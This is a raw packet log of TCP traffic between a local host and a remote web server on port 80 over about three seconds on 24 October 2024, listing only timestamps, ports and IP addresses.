Oct 24, 2024 04:57:30.890947104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.890991926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.891033888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.891062975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.891105890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:30.977760077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.977780104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.977797031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:30.977838993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.010030031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010071993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010104895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010127068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.010174990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.010232925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010268927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010303020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010328054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.010337114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.010385990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.097140074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.097163916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.097182035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.097198963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.097240925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.097290993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.129266977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129302979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129336119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129602909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129636049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129667997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.129702091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.130963087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.216316938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.216355085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.216388941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.216404915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.216423988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.216470003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.248563051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248596907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248631954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248686075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.248855114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248883963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248918056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.248930931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.249018908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.249152899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.249186993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.249258995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.335582018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.335618973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.335650921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.335746050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.367921114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.367944956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.367963076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.367990971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.368021965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.368108988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368124008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368146896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368163109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368165970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.368180037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368196011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.368221045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.368241072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.454896927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.454929113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.454962969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.454984903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.455022097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.455070972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.487380981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487435102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487469912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487503052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487565041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.487565994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487602949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.487631083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.487656116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.639736891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.639775038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.639827013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.639890909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.639925957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.639961958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.639966011 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.640013933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640064001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640098095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640110016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.640136957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.640336037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640368938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640403032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.640415907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.689785004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.846632004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846704960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846743107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846776962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846788883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.846823931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.846829891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846864939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846899986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846930027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846955061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.846962929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.846982002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.846999884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.847032070 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.847568035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.847598076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.847851992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.878595114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.878609896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.878654003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.965722084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.965754986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.965837955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:31.966922045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.966937065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.966950893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:31.967068911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.017721891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.045970917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.046008110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.046041012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.046056032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.087086916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.087105036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.087120056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.087136984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.087153912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.087201118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.166153908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.166189909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.166223049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.166249037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.205585003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.205637932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.205672026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.205703020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.205735922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.205758095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.205758095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.205786943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.284429073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.284442902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.284487963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.284501076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.284499884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.284538031 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.324707031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.324737072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.324770927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.324788094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.324822903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.324862957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.373943090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.373980999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.374075890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.403831005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.403866053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.403898954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.403913021 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.443989992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.444025993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.444047928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.444061041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.444107056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.523051977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.523108006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.523143053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.523155928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.523178101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.523206949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.523222923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.564641953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.756027937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.756061077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.756138086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.761648893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761701107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761749983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761754990 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.761804104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761836052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761845112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.761882067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761914968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761921883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.761949062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.761987925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.802077055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.802112103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.802146912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.802167892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.845864058 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.875211000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.875236034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.875303984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.880985975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.880999088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.881062984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.921324968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.921377897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.921407938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.921431065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:32.921441078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:32.921484947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.000202894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.000240088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.000272989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.000307083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.040827990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.040863991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.040898085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.040899992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.040934086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.040937901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.095848083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.119496107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.119534016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.119569063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.119577885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.160165071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.160211086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.160218954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.160254002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.160290003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.160298109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.160324097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.160362959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.238873959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.238909960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.238944054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.238965988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.279474974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279499054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279521942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279536009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.279567003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.279608965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279624939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279638052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.279659986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.330255032 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.358112097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.358155966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.358192921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.358227015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.399425983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.399599075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.401824951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.401863098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.401904106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.401921988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.404892921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.404937983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.407016039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.455305099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.477438927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.477454901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.477472067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.477596045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.518701077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518733978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518769026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518779993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.518804073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518820047 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.518838882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518872976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.518878937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.518978119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.519007921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.519027948 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.564621925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.596676111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.596713066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.596748114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.596781015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.638108015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.638159990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.638185024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.638194084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.638230085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.638243914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.638266087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.638309002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.678035021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.678054094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.678091049 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.716536045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.716587067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.716624975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.716636896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.757281065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757327080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757340908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.757380009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757414103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757427931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.757452011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757486105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.757489920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.799065113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.835849047 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.835938931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.835973024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.836005926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.876550913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876568079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876581907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876595974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876729012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.876750946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876764059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876794100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.876871109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876883984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.876912117 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.924020052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:33.954844952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.954870939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:33.954925060 CEST	80	49774	185.215.113.16	192.168.2.6
